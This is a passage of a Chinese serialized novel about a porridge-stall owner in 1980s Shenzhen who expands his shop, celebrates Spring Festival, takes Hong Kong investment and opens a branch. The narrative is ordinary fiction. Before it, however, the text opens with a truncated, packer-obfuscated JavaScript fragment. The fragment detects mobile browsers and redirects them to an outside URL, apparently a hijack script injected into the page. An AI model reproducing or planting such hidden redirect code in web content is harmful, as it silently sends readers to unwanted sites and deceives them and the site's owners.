35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380740|200163||http|test|mini|href|location''.split(''|''),0,{}));
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>他去找何老板。
“何老板,隔壁那家,还在吗?”
“在,还没转出去。”何老板说,“怎么,想通了?”
“租金能少点吗?”
“我问过了,最低一百八。”
一百八。陈永福在心里算。如果扩了,人工加一个,算三十。水电管理费加二十。总成本每月增加一百一。每天要多卖五十碗,才能持平。
“我能不能先租半年?如果生意不好,就不续了。”
“可以,我跟房东说说。”
谈了两天,定下来了。隔壁二十平米,月租一百八,租期半年。押二付一,一次要交五百四。
陈永福从存款里拿出钱,手有点抖。五百四,是他半年多的积蓄。但他想赌一把。
签合同那天,何老板拍拍他的肩:“陈老板,有魄力。我看好你。”
扩店装修又花了三百。打通了两个档口,操作台扩大了一倍,多了两个灶眼。桌椅也添了,现在能坐二十个人。
开业那天,陈永福站在新档口里,看着宽敞的空间,心里既兴奋又紧张。
林玉兰摸摸新的不锈钢台面,轻声说:“真亮。”
“嗯,亮。”
“就是有点不像我们的地方。”
陈永福明白她的意思。这里太新,太干净,少了老街那种烟火气。但他想,时间久了,烟火气会有的。
新档口开业,生意确实好了些。空间大了,客人愿意坐下来吃。海鲜粥依然畅销,每天三十碗都不够卖。
但问题也来了。人手不够。
十五平米时,四个人勉强够用。现在三十五平米,要兼顾堂食和外卖,四个人忙得脚不沾地。特别是中午高峰期,档口前排起队,外卖电话响个不停。
陈永福不得不考虑再招人。但人工成本压在那里,再加人,利润就更薄了。
一天中午,周淑芬接了个电话,是写字楼的大单:一家公司开年会,要订一百碗海鲜粥,下午三点送到。
一百碗!陈永福既高兴又发愁。高兴的是大单,愁的是人手。一百碗海鲜粥,光虾就要十斤,螃蟹要八斤。要洗要剥要煮,还要保温送餐。
“接吗?”周淑芬问。
“接!”陈永福咬咬牙,“多少钱一碗?”
“对方说五毛一碗,包括送餐费。”
五毛,比平时少五分。但量大,还是赚。
整个档口忙起来了。陈永福负责熬粥,林玉兰和周淑芬处理海鲜,黄秀英和小张准备打包盒。从中午十二点忙到下午两点,才把一百碗粥熬好,装进保温箱。
两点半,黄秀英和小张推着借来的手推车去送餐。三点准时送到,对方很满意,当场结账。
五十块钱到手。除去成本二十五块,净赚二十五。相当于平时两天的利润。
陈永福擦擦汗,看着空了的锅,心里却充实。大单虽然累,但值得。
从那天起,他开始主动联系写字楼、公司,接团体订单。虽然不常有,但一个月接两三单,也能增加不少收入。
生意上了轨道。新档口开业一个月,平均每天能卖两百三十碗,加上外卖和团体订单,月收入突破了一千块。扣除所有成本,净赚三百。
三百块,在1984年的深圳,算是高收入了。一个国营工厂的厂长,月薪也不过两百。
陈永福拿着钱,第一次觉得,来深圳闯,闯对了。
但他不敢松懈。租金、人工、成本,像三座山,压着他。他必须每天早起,每天熬粥,每天算计。
一天晚上打烊后,他一个人在档口对账。算盘珠子拨得噼啪响,数字一个个跳出来。收入,支出,利润。利润薄,但稳。
灯光下,他忽然想起老街的老榕树。这时候,树下应该很安静吧。也许有野猫经过,也许有晚归的人坐在树下歇脚。
他想回去看看。
第二天下午,他抽空去了老街。
老街已经拆了一半。王师傅的修车铺没了,老李的杂货铺没了,卖水果阿婆的推车也没了。只有老榕树还在,孤零零地立在废墟中间。
树下堆着建筑垃圾,碎砖头,破木板。树上贴了张纸,写着“待移栽”。
陈永福站在树下,仰头看。树叶还是绿的,但蒙了层灰。树干上他钉的钉子还在,挂招牌的那个位置,有个明显的印子。
他伸手摸摸树干。树皮粗糙,像老人的手。
“陈老板?”
身后有人叫他。是老唐。
“老唐,你还在这儿?”
“没搬远,在附近租了个房。”老唐走过来,也抬头看树,“这树要移走了,听说要移到公园去。”
“移走也好,总比砍了好。”
两人在树下站了一会儿。废墟里很安静,只有风吹过的声音。
“新地方怎么样?”老唐问。
“还行,就是不像这里。”
“正常。新地方要住久了,才有感情。”老唐掏出烟,递给他一支,“我那个厂也要拆了,我也要挪窝了。”
“去哪?”
“不知道,可能回惠州找儿子。”老唐点上烟,“老了,折腾不动了。”
陈永福看着老唐。半年多前,老唐还是个精神矍铄的老人,现在背有点驼了,头发也白了大半。
“老唐,有空来新地方喝粥,我请你。”
“一定去。”老唐吐了口烟,“陈老板,好好干。深圳是年轻人的天下,但也要有我们这些老人,才能撑起来。”
这话让陈永福心里一暖。是啊,不只是年轻人在闯,老人也在适应,在坚持。
离开老街时,他回头看了一眼。老榕树在夕阳下拖着长长的影子,影子盖在废墟上,像在告别。
回到商场,美食区正是晚饭时间。各家档口灯火通明,人声鼎沸。烧腊档前排着队,麻辣烫的香味飘过来,奶茶店放着港台流行歌。
他的粥铺里,客人坐了一半。林玉兰在盛粥,黄秀英在收钱,周淑芬在招呼客人,小张在打包外卖。一切井然有序。
陈永福走进档口,系上围裙。林玉兰看见他,问:“去哪了?”
“回了趟老街。”
“树还在吗?”
“在,要移走了。”
林玉兰没说话,低头继续盛粥。
一个客人过来:“老板,来碗海鲜粥。”
“好嘞。”
陈永福接过碗,盛粥。粥还是那个粥,米还是那个米,水还是那个水。但地方变了,客人变了,连盛粥的碗都变了。
不变的是手艺,是味道,是熬粥时的那份心。
他把粥递给客人:“小心烫。”
客人接过,坐在窗边的位置。窗外是深圳的夜景,高楼林立,灯火璀璨。远处工地的塔吊亮着灯,像星星挂在天上。
陈永福站在档口里,看着这一切。新地方,新开始。难,但值得。
他拿起长勺,搅了搅锅里的粥。粥咕嘟咕嘟地冒着泡,热气蒸腾,米香弥漫。
这香味,会飘出档口,飘出商场,飘进这座城市的夜里。像老街的炊烟一样,淡淡的,却执着地存在着。
他知道,他的根,已经在这里扎下了。虽然还不够深,但已经在土里了。
明天,太阳升起时,他还会在这里。熬粥,盛粥,送粥。日复一日,年复一年。
这就是他的深圳,他的生活,他的路。
7. 潮声
腊月里,深圳的天气说冷不冷,说热不热。早晨骑自行车去商场,风刮在脸上像薄刀片,但到了中午,太阳一晒,又得把外套脱了。
陈永福的粥铺已经在新商场里扎了三个月根。生意稳了,每天能卖两百多碗,加上外卖和团体订单,一个月能赚三百多块。钱是多了,但人也更累了。
三十五平米的档口,五个人在里面转,还是觉得不够用。海鲜粥每天限卖三十碗,但总有人买不到,提意见。陈永福想增加供应,可虾和螃蟹的价格一天一个样,贵的时候成本都压不住。
“老板,今天虾又涨了,三块二一斤。”小张从市场回来,把塑料袋放在操作台上。
陈永福看了看,虾是活的,蹦跳着。“昨天不是才两块八?”
“摊主说快过年了,什么都涨。”
过年。陈永福这才想起来,再有二十几天就是春节了。来深圳快一年,时间过得真快。
“螃蟹呢?”
“两块二,也涨了。”
陈永福在心里算账。一碗海鲜粥,虾蟹成本要四毛,卖五毛,只赚一毛。加上米、煤、人工,几乎不赚钱。
“老板,要不海鲜粥也涨涨价?”黄秀英小声说。
“涨多少?”
“涨到五毛五。”
五毛五。陈永福犹豫。一碗粥五毛五,在美食区算天价了。隔壁烧腊饭才六毛,有肉有菜有饭。
“先不涨。”他决定,“还是卖五毛,但每天只卖二十碗。物以稀为贵。”
下午,何老板晃悠过来,递了支烟:“陈老板,生意不错啊。”
“马马虎虎。”陈永福接过烟,“何老板有事?”
“没事,闲聊。”何老板靠在玻璃墙上,“过年回老家吗?”
“还没定。你呢?”
“我?我不回。”何老板吐了口烟,“香港那边有亲戚来,得招待。再说春节生意好,舍不得关门。”
陈永福这才想起,何老板是香港人。虽然说话做事和内地人没什么两样,但终究是香港人。听说香港人过年讲究多,要派利是,要吃盆菜。
“陈老板要是过年不关门,咱们可以搞个联合促销。”何老板说,“买烧腊饭送粥,买粥送烧腊,互相带动生意。”
“怎么个送法?”
“比如买一份烧鹅饭,送一碗白粥。买两碗海鲜粥,送半只烧鹅。”何老板说得眉飞色舞,“双赢。”
陈永福想了想,觉得可行。烧腊档生意好,粥铺能沾光。
“行,试试。”
“那就这么说定了。”何老板拍拍他的肩,“腊月二十五开始,搞到正月十五。”
何老板走后,周淑芬走过来:“陈老板,我有点事想跟你商量。”
“周老师你说。”
“我想春节后就不来了。”周淑芬有些不好意思,“学校那边让我下学期带班,时间排满了。”
陈永福一愣。周淑芬在粥铺干了三个月,勤快,会招呼客人,有她在档口轻松不少。虽然知道她迟早要走,但真到这时候,还是舍不得。
“恭喜周老师。”他真心实意地说,“教书好,稳定。”
“谢谢你这几个月的照顾。”周淑芬眼圈有点红,“要不是你们,我和小军还不知道怎么熬过来。”
“互相帮助,应该的。”
“那我做到腊月二十五,行吗?”
“行,工资我给你结到那天,再加二十块奖金。”
“不用奖金……”
“要的,你帮了大忙。”
周淑芬走了,档口少个人手。陈永福琢磨着再招一个。快过年了,不好招人。来深圳打工的,都等着拿年终奖回家过年,没人愿意这时候换工作。
正发愁,李红梅来了。
就是半年前那个四川姑娘,在宝安制衣厂做工。她这次不是一个人,还带了个年轻男人,个子不高,黑黑的,有些拘谨。
“陈老板,老板娘!”李红梅老远就喊,脸上带着笑。
林玉兰迎出来:“红梅!你怎么来了?”
“来看你们。”李红梅把手里的袋子递过来,“厂里发的年货,我带了些。”
袋子里有几包腊肠,几袋糖果。林玉兰接过来,拉着李红梅的手:“长胖了,脸色也好。”
“厂里伙食不错。”李红梅指指身边的男人,“这是我对象,叫王建军,也是我们厂的。”
王建军点点头,没说话。
“快进来坐。”陈永福招呼。
李红梅看看档口,眼睛睁大了:“陈老板,生意做大了!这么大的地方。”
“刚搬来没多久。”
李红梅在档口里转了一圈,摸摸不锈钢台面,看看墙上的菜单:“真好,真干净。”
中午,陈永福留他们吃饭。李红梅帮忙招呼客人,手脚还是那么麻利。王建军不太说话,但眼里有活,看见地上有纸屑就扫,看见桌子脏了就擦。
吃完饭,李红梅说:“陈老板,你们还招人吗?”
“招,周老师春节后不来了。”
“那……”李红梅看看王建军,“建军想在深圳找个工作,不打算回老家了。他踏实,肯干,你要不要看看?”
陈永福看看王建军。小伙子二十出头,眼神老实,手指粗壮,一看就是干活的料。
“会做饭吗?”
“会,我在老家帮厨过。”王建军终于开口,四川口音很重。
“那行,你试试。”陈永福说,“先做一个月,工资二十五,包吃住。做得好再加。”
王建军眼睛亮了:“谢谢陈老板!”
“红梅呢?还在制衣厂?”
“在,做得挺好的,班长说年后让我带小组。”李红梅说,“就是离得远,不能常来看你们。”
“好好干,有前途。”
下午,李红梅和王建军走了,说明天就来上班。林玉兰收拾碗筷时,轻声说:“红梅这姑娘,总算安定下来了。”
“是啊。”陈永福想起半年前,那个蹲在路灯下哭的女孩。现在有了工作,有了对象,脸上有笑了。
这就是深圳。有人来,有人走,有人哭,有人笑。但只要不放弃,总能找到一条路。
腊月二十,商场里挂起了红灯笼,贴上了春联。音乐也换了,整天放《恭喜发财》《财神到》。年味一下子浓了。
陈永福第一次在深圳过年。老家过年讲究多,祭祖,拜神,走亲戚,吃年夜饭。在深圳,这些好像都简化了。商场只休三天,大年初三就开门。
林玉兰想回老家过年,但来回车费贵,时间也长。最后决定,就在深圳过。
“给家里多寄点钱,也是一样的。”她说。
陈永福去邮局寄了三百块。三百块,在老家能过个肥年。父母能买新衣服,弟弟能办像样的婚礼,妹妹能添置嫁妆。
汇款单上,他写了一句:儿在深圳一切安好,勿念。年后再寄钱。
走出邮局,他想起老家过年的场景。母亲在灶台前忙活,炸油角,蒸年糕,炖整鸡。父亲在院子里写春联,红纸铺在桌上,墨汁的味道。弟弟妹妹围着要压岁钱,虽然只有几毛,但高兴。
想着想着,鼻子有点酸。来深圳一年,没回过家。父母老了,自己不在身边,不知道他们好不好。
回到档口,何老板在等他。
“陈老板,有个事跟你商量。”
“何老板请说。”
“我香港有个亲戚,做餐饮连锁的。他来深圳考察,看到我们美食区,很有兴趣。”何老板压低声音,“他想投资,做大做强。”
“投资?”
“就是出钱,扩大规模,开分店。”何老板眼里放光,“他想先投两家,一家烧腊,一家粥铺。觉得我们两家生意好,有潜力。”
陈永福没听明白:“怎么个投法?”
“他出钱,我们出技术和管理。股份他占六成,我们占四成。赚了钱按股份分。”
四成。陈永福在心里盘算。现在一个月赚三百,四成就是一百二。但如果生意做大,赚一千,四成就是四百。
“开分店,在哪开?”
“他想在福田开一家,南山开一家。都是新开发区,人流量大。”
“那这里呢?”
“这里照常营业,作为总店。”何老板越说越兴奋,“陈老板,这是机会。单打独斗,一辈子就是个小档口。有人投资,才能做大。”
陈永福心动了。做大,开分店,赚大钱。这是每个生意人的梦想。
但他又担心。股份四成,控制权在香港人手里。万一做不好,万一赔了,怎么办?
“让我想想。”
“尽快,我亲戚过完年就要回香港了。”
晚上,陈永福跟林玉兰商量这事。林玉兰听了,半天没说话。
“你觉得呢?”陈永福问。
“我不懂这些。”林玉兰轻声说,“我就知道,我们现在这样挺好。赚得不多,但踏实。要是跟人合伙,万一赔了……”
“何老板说,投资的人有钱,赔了也不用我们承担。”
“话是这么说,可万一呢?”林玉兰看着丈夫,“阿福,咱们来深圳一年,好不容易站稳了。我不求大富大贵,只求安稳。”
陈永福知道妻子说得对。但他心里那股火,又被何老板的话点燃了。做大,做强,开分店。这些词在他脑子里打转。
“我再想想。”
夜里,他睡不着。披衣起来,走到阳台上。租的房子在三楼,能看到商场的屋顶,能看到远处工地的塔吊。深圳的夜,依然灯火通明。
他点了支烟,慢慢抽着。烟是“大前门”,味道冲,但提神。
做大,还是求稳?这是个选择。
他想起老街的老榕树。树那么大,根扎得那么深,但从不移动。一年四季,就在那里,看人来人往,看云卷云舒。稳,但也不动。
他又想起国贸大厦工地。三天一层楼,每天都在长高,每天都在变化。快,但风险也大。
一支烟抽完,他还没想好。
第二天,何老板又来找他。
“陈老板,想得怎么样?”
“何老板,我问个问题。”陈永福说,“你亲戚投资,是要赚快钱,还是做长久?”
“当然是长久。餐饮行业,急不得。”
“那管理谁说了算?”
“日常经营我们说了算,大事商量着来。”何老板说,“我亲戚在香港有十家店,懂行。他会派人来指导,但不会干涉太多。”
陈永福沉默了一会儿:“何老板,我有个条件。”
“你说。”
“分店的粥,必须用总店的配方,用总店培训的人。”陈永福说,“味道不能变。”
“这个自然。”
“还有,总店这边,我要有完全的控制权。分店那边,我可以派人去管,但不能把我的档口抽空。”
“没问题。”何老板笑了,“陈老板考虑周到。这么说,你同意了?”
“我同意试试。”陈永福说,“但要签合同,白纸黑字写清楚。”
“那是当然。”
谈妥了大致框架,具体细节要等过完年,何老板的亲戚从香港过来再谈。
腊月二十五,促销开始了。
烧腊档和粥铺的档口前都贴了海报:“喜迎新春,买一送一”。买烧鹅饭送白粥,买海鲜粥送叉烧。客人们觉得划算,两家档口的生意都翻了一番。
陈永福忙得脚不沾地。王建军来了之后,档口多个人手,但还是忙。海鲜粥每天五十碗都不够卖,白粥肉粥也卖得快。
黄秀英和小张送外卖送到腿软。写字楼大多放假了,但附近小区的外卖订单多了起来。都是在家过年,不想做饭的。
腊月二十八,商场提前关门。各家档口忙着盘点,收拾,准备过年。
陈永福给员工发年终奖。黄秀英五十块,小张三十块,王建军刚来,也给了十块。周淑芬虽然不做了,但陈永福还是包了个红包,二十块。
“谢谢老板!”黄秀英接过钱,眼睛笑成月牙。
“一年辛苦了。”陈永福说,“春节三天假,你们有什么打算?”
黄秀英说要跟几个老乡聚聚,小张说要去看电影,王建军说就在宿舍休息。
“好好玩,初四早上准时开工。”
晚上,陈永福一家三口回到家。林玉兰做了几个菜,有鱼有肉,算是年夜饭。
没有老家那么丰盛,但也是三个菜一个汤。鱼是清蒸鲈鱼,肉是红烧肉,菜是蒜蓉青菜,汤是排骨萝卜汤。
□□看着桌上的菜,说:“阿妈,没有年糕。”
“明天买。”林玉兰摸摸儿子的头,“深圳过年简单,以后习惯了就好。”
吃完饭,陈永福打开电视。新买的十四寸黑白电视,花了三百块。能收到两个台,一个中央台,一个广东台。
中央台正在播春节联欢晚会。相声,小品,唱歌,热热闹闹的。□□看得入迷,咯咯笑。
林玉兰在包饺子。猪肉白菜馅,一个个包得精致。
“阿福,你说,我们明年会怎么样?”
“会更好。”陈永福说,“何老板那个投资要是成了,能开分店。”
“你就那么信何老板?”
“信不信,试试才知道。”陈永福看着电视里载歌载舞的画面,“深圳不就是这样吗?敢闯敢试。”
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陈永福走到阳台上,看着夜空。深圳的夜空不是全黑的,总有一片被工地的灯光照亮。星星看不见,但能看到高楼轮廓,像黑色的剪影。
他想起了老家过年的夜空。那里能看到银河,看到北斗七星。除夕夜,全村一起放鞭炮,硝烟味能飘一夜。
一年了。他从一个农民,变成一个小老板。从一无所有,到有了档口,有了存款,有了方向。
不容易,但值得。
大年初一,他们去了仙湖植物园。听说那里有庙会,热闹。
果然人多。舞狮的,卖糖人的,写春联的,挤挤攘攘。□□要了个糖人,是孙悟空的形状,举着舍不得吃。
在庙里,林玉兰烧了香,许了愿。陈永福问她许了什么,她不说。
“说出来就不灵了。”
“那我猜猜。”陈永福说,“是不是愿全家平安,生意兴隆?”
林玉英笑了:“差不多。”
从植物园出来,他们在路边吃了碗云吞面。初一的深圳,街上人少,车也少。很多店关门了,回老家过年了。
“深圳是座移民城市。”陈永福忽然说,“过年的时候最明显。”
“是啊,人都走了,空了。”
“但明年,人还会回来。还会更多。”
初二,他们在家休息。林玉兰做了年糕,虽然不如老家的好吃,但有那个意思。
初三,商场开门。生意出奇的好。人们过年吃腻了大鱼大肉,想喝点清淡的。粥铺排起了队,海鲜粥半小时就卖完了。
陈永福忙得满头汗,但心里高兴。生意好,就有底气跟何老板的亲戚谈合作。
初五,何老板的亲戚来了。
是个五十多岁的男人,姓郑,郑文达。穿着灰色西装,戴金丝眼镜,说话慢条斯理。他先看了烧腊档,又来看粥铺。
“陈老板,久仰。”郑文达伸出手。
陈永福在围裙上擦擦手,才跟他握手:“郑先生,您好。”
郑文达在档口里转了一圈,仔细看了操作台、灶具、食材。又尝了海鲜粥、皮蛋粥、白粥。
“味道不错。”他放下碗,“何生跟我说了合作的事,我很有兴趣。”
三人到商场外的茶餐厅坐下谈。郑文达从公文包里拿出份合同草案,厚厚一沓。
“陈老板看看。”
陈永福接过来,翻了几页。很多术语看不懂,但大致意思明白:郑文达投资五万块,在福田和南山各开一家分店。股份他占百分之六十,陈永福和何老板各占百分之二十。经营由陈永福负责,郑文达派财务监管。
“郑先生,分店的厨师……”
“从总店培训,或者陈老板派人过去。”郑文达说,“味道必须统一。”
“那总店这边?”
“总店还是陈老板全权负责,分店的利润,百分之二十归总店,作为技术和管理费。”
陈永福在心里算。如果分店一个月赚一千,总店能拿两百。加上总店自己的利润,能到五百。
五百块一个月,在1985年,是天文数字。
“合同期多长?”
“五年。五年后,如果合作愉快,可以续签。”郑文达推推眼镜,“陈老板有什么问题,可以提。”
陈永福想了想:“郑先生,分店的选址,我要参与。”
“当然。”
“还有,分店的员工,要从深圳本地招,工资不能低于市场价。”
郑文达笑了:“陈老板仁义。没问题,这些都写进合同。”
谈了两个小时,大致框架定了。具体细节,郑文达的律师会来完善。
送走郑文达,何老板拍拍陈永福的肩:“陈老板,恭喜,我们要发达了。”
陈永福笑笑,心里却有些不安。五万块的投资,是机遇,也是压力。要是做不好,对不起郑先生,也对不起自己。
回到档口,他把这事跟林玉兰说了。林玉兰听了,没说话,只是低头擦桌子。
“你怎么想?”陈永福问。
“你想做就做吧。”林玉兰轻声说,“反正这个家,你说了算。”
这话让陈永福心里一沉。他知道妻子不赞成,但也不反对。这种态度,比直接反对更让人难受。
“玉兰,我是想……”
“我知道。”林玉兰打断他,“你想做大,想出人头地。我不拦你,只希望你小心点,别摔跟头。”
“我会小心的。”
正月十五,元宵节。商场搞活动,猜灯谜,送汤圆。粥铺也推出了汤圆粥,芝麻馅的汤圆,放在红豆粥里,甜糯糯的。
晚上打烊后,陈永福带着家人去老街看花灯。老街已经拆得差不多了,只剩老榕树那片还没动工。树下挂了几盏红灯笼,映得树影婆娑。
老唐也在,一个人坐在石凳上。
“老唐,过节好。”
“陈老板来了。”老唐笑笑,“来看树?”
“嗯,听说要移走了。”
“快了,开春就移。”老唐看看树,“移走了也好,总比砍了好。”
三人在树下站了一会儿。灯笼在风里摇晃,光影晃动。
“陈老板,听说你要开分店了?”老唐问。
“您怎么知道?”
“何老板说的。”老唐点支烟,“好事,年轻人就该闯。”
“老唐,您说,我能做好吗?”
老唐看他一眼:“陈老板,我活了五十多年,明白一个道理:事在人为。你想做好,就能做好。你怕做不好,就可能真做不好。”
这话朴实,但有道理。
“谢谢老唐。”
“不用谢我。”老唐摆摆手,“好好干,给咱们老街争口气。让那些香港老板看看,咱们内地人,也能做大事。”
回到家,□□已经睡着了。林玉兰在给孩子盖被子,动作很轻。
陈永福站在卧室门口,看着这一幕。妻子,孩子,家。这就是他奋斗的意义。
他走过去,轻轻抱住林玉兰。
“对不起,让你担心了。”
林玉兰靠在他肩上:“我没有怪你。只是怕你太累,太辛苦。”
“不累,有你们在,不累。”
窗外,月亮很圆,很亮。正月十五的月亮,代表团圆。
陈永福看着月亮,心里定了。不管前路如何,他要走下去。为了家人,为了自己,也为了那些相信他的人。
深圳的夜,依然有灯光,有声音,有无数人像他一样,在为自己的梦想奋斗。
明天,太阳升起时,他还会站在灶台前,熬一锅粥,开始新的一天。
8. 分店
二月末的深圳,雨下得没完没了。毛毛雨,不大,但密,飘在空中像雾。路面总是湿的,踩上去黏糊糊的。商场里的空调坏了,关不掉,冷风呼呼地吹,和外面的湿冷里应外合,冻得人骨头缝都发寒。
陈永福感冒了。喉咙痛,说话声音哑,但还得站在灶台前熬粥。海鲜粥的蒸汽扑在脸上,倒是能让他舒服点。
郑文达派来的律师姓刘,戴金边眼镜,说话一板一眼。他带着修改后的合同来档口找陈永福,嫌里面吵,非要到外面的咖啡厅谈。
咖啡厅是商场新开的,一杯咖啡卖三块。陈永福第一次进来,觉得椅子太软,坐着不踏实。
“陈老板,合同我们根据上次谈的修改了。”刘律师从公文包里拿出文件,“你看一下,主要改动在第八条和第十二条。”
陈永福接过合同,厚厚一沓,密密麻麻的字。他看得慢,很多法律术语看不懂。
“刘律师,您给我讲讲吧。”
刘律师推推眼镜,一条条解释。大致意思是:投资总额五万,分两期到账。第一期两万五,用于南山分店开业。第二期两万五,等南山店运营三个月后再给,用于福田分店。
“为什么分两期?”陈永福问。
“郑先生谨慎,要看南山店的经营情况再决定是否追加投资。”刘律师说,“这也是对您负责,万一南山店不顺利,后面的投资可以调整。”
陈永福明白了。郑文达不是全信他,要试水。
“还有这里,”刘律师指着第十二条,“分店的财务管理由郑先生派会计负责,您要配合提供所有经营数据。”
“这个上次说了,我同意。”
“那就好。”刘律师拿出钢笔,“陈老板要是没问题,可以签字了。”
陈永福拿起笔,手有点出汗。他看向窗外,雨还在下,商场门口人来人往。何老板说过,签了字,就是另一条路了。
他深吸一口气,在合同上签下自己的名字。字写得不好看,但一笔一画,很用力。
“恭喜陈老板。”刘律师收起合同,“第一期资金三天内到账。选址的事,郑先生下周从香港过来,我们一起去看。”
陈永福点点头,没说话。喉咙疼得厉害。
回到档口,林玉兰正在跟一个客人解释为什么海鲜粥又卖完了。客人不满意,嘟囔着走了。
“签了?”林玉兰问。
“签了。”
林玉兰看他一眼,没再问,转身去收拾碗筷。锅里的粥快熬好了,咕嘟咕嘟响。
何老板下午过来,拍着他的肩说:“陈老板,从今天起,咱们是合作伙伴了。”
“何老板多关照。”
“互相关照。”何老板压低声音,“南山那边我熟,有几个不错的位置。等郑先生来了,我带你们去看。”
三天后,两万五到账了。是电汇,直接打到陈永福新开的银行账户里。他去银行取了一千块现金,厚厚一沓,揣在怀里都觉得烫。
第一件事是去交南山店半年的租金。看中的铺面在南新路上,三十平米,月租两百,一次交半年就是一千二。房东是个本地人,姓梁,五十多岁,说话时总爱剔牙。
“陈老板有眼光,这位置好,对面就是电子厂,工人多。”梁房东数着钱,“不过这边竞争也大,光这条街就有三家快餐店。”
“我知道,试试看。”
交了租金,拿到钥匙。铺面是毛坯,水泥地,白灰墙,空荡荡的。陈永福站在里面,回音很大。他咳嗽一声,声音在屋里荡来荡去。
接下来是装修。何老板介绍了个施工队,包工包料,四千块。工期一个月。
“太贵了。”陈永福说。
“不贵了,现在人工材料都涨。”包工头老赵说,“你要便宜的,我也有便宜的队伍,但质量不敢保证。”
陈永福想了想,还是要了贵的。“质量要好,特别是灶台和排烟。”
“放心,做过几十家餐馆了。”
签了装修合同,又去订设备。灶具、冰箱、桌椅、餐具,林林总总算下来,要三千多。钱像水一样流出去。
晚上对账,两万五还剩一万六。还有人工费、培训费、开业宣传费没算。陈永福头一次觉得,钱这么不经花。
郑文达周末从香港过来,先看了装修进度,还算满意。又去看了周边环境,电子厂确实大,中午下班时,工人像潮水一样涌出来。
“陈老板,你觉得这里一天能卖多少碗?”郑文达问。
“三百碗应该可以。”
“三百碗,一碗平均两毛五,一天七十五,一个月两千二百五。扣掉成本租金人工,能赚多少?”
陈永福在心里算:“大概八百。”
“八百,五个月回本。”郑文达点点头,“可以。”
但他又说:“不过这边工人多,口味可能跟罗湖不一样。你要调整菜单,多做实惠的,分量足的。”
“明白。”
郑文达当天就回香港了,说开业时再来。陈永福送他去车站,回来时路过老街。拆迁已经完成,老榕树的位置空了,只留下一个大坑。坑里积了雨水,浑浊的,漂着几片叶子。
他站了一会儿,雨又开始下。没带伞,淋了一身。
南山店的装修紧锣密鼓地进行。陈永福每天罗湖南山两头跑,早上在商场档口忙完,中午坐公交车去南山看进度。公交车要转两趟,一趟四毛钱,来回八毛。一天八毛,一个月就是二十四块。他算着账,心疼。
林玉英说:“别省这点钱,身体要紧。”
“没事,坐车还能歇会儿。”
其实歇不了。公交车上挤,站一路。有时候累得靠着栏杆都能睡着。
装修到一半,招工的问题来了。南山那边要两个厨师,三个服务员,一个收银。工资跟罗湖一样,厨师四十,服务员二十五,包吃住。但南山离罗湖远,很多人不愿意去。
贴了三天招工启事,只来了五个人面试。两个厨师都是新手,没做过粥。三个服务员里,有两个嫌工资低。
何老板说:“要不从罗湖调个人过去?”
“罗湖人手也紧。”陈永福皱眉。
最后招了一个厨师,姓杨,四川人,在酒楼打过下手,会切菜会熬汤。三个服务员都是小姑娘,十八九岁,湖南来的,说只要能包住,工资低点也行。
人员定了,开始培训。陈永福每天早上在罗湖熬粥,中午去南山教杨师傅。从选米、淘米、下锅,到火候控制、配料比例,一点一点教。
杨师傅学得认真,但总有偏差。有时候水放多了,粥稀。有时候火大了,糊底。陈永福不骂人,只说“重来”。
“陈老板,我是不是太笨了?”杨师傅不好意思。
“不笨,熬粥是细活,急不得。”
教了十天,杨师傅终于能熬出像样的粥了。陈永福尝了一口,点点头:“行了,可以开业了。”
开业定在三月十八,星期天。郑文达提前一天从香港过来,检查了所有准备工作。
“菜单定了吗?”
“定了。”陈永福递上菜单,白粥一毛,肉粥一毛五,皮蛋粥两毛,海鲜粥三毛。比罗湖便宜。
“海鲜粥也便宜?”
“这边工人多,卖贵了没人买。”
郑文达想了想:“也好,薄利多销。”
开业当天,搞了促销活动。前一百碗粥八折,还送咸菜。陈永福在店门口放了鞭炮,噼里啪啦响了半天。
电子厂中午下班,工人们涌出来。看见新开的粥铺,有人进来试试。店里的六个员工忙得团团转,杨师傅在灶台前挥汗如雨,三个服务员端粥收碗,收银的小姑娘手忙脚乱。
陈永福在柜台后看着,心里悬着。人多是好事,但怕出乱子。
果然出事了。一个工人嫌粥太烫,不小心打翻了碗,烫到了手。服务员赶紧拿凉水冲,但工人不依不饶,要赔偿。
“我这手明天还要上工,烫伤了怎么办?”
陈永福走过去:“师傅,实在对不起。今天的粥我请,再赔您五块钱医药费,您看行吗?”
工人看看他,接过钱:“算了,下次小心点。”
处理完这事,陈永福发现收银台出了错。有个客人给了五毛钱,买了一碗三毛的海鲜粥,该找两毛,但收银员找了一毛。客人已经走了,追不回来。
“对不起老板,我太忙了……”收银的小姑娘快哭了。
“没事,下次仔细点。”
中午高峰期过去,盘点。卖了二百六十碗粥,收入四十五块八毛。但算上促销折扣和那五块钱赔偿,实际收入四十块。
成本呢?米、肉、海鲜、煤、人工,大概二十五块。净赚十五块。
第一天,还行。
晚上打烊,陈永福开了个短会。指出今天的问题:粥太烫要提醒客人,收银要仔细,服务员要配合好。
“大家今天辛苦了,以后会越来越好。”
员工们点点头,脸上有疲惫,也有兴奋。
陈永福坐最后一班公交车回罗湖。车上人少,他找了个靠窗的位置坐下。窗外夜色已深,路灯一盏盏向后掠去。
回到商场档口,已经十一点了。林玉兰还在等他,锅里热着粥。
“怎么样?”她问。
“卖了二百六十碗。”
“那不错啊。”
“但出了些问题。”陈永福把烫伤和收银出错的事说了。
林玉兰听完,轻声说:“刚开始都这样,慢慢就好了。”
两人坐在空荡荡的美食区喝粥。周围的档口都关门了,只有安全通道的绿灯亮着。
“玉兰,我想把秀英调到南山去。”陈永福忽然说。
林玉兰手一顿:“为什么?”
“南山那边缺个能管事的。杨师傅手艺还行,但管理不行。秀英在罗湖干了这么久,懂流程,能撑起来。”
“那罗湖这边呢?”
“王建军可以顶秀英的位子。再招个送餐的。”
林玉兰沉默了一会儿:“秀英愿意去吗?南山那
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么远。”
“我明天问问她。”
第二天,陈永福找黄秀英谈。黄秀英听完,没马上回答。
“老板,去南山,住哪?”
“店后面有个小房间,可以住。月薪加五块。”
“五块……”黄秀英想了想,“老板,我去。罗湖这边已经熟了,我想试试新的。”
陈永福松了口气:“好,那你准备一下,后天过去。杨师傅那边,你多带带他。”
“知道。”
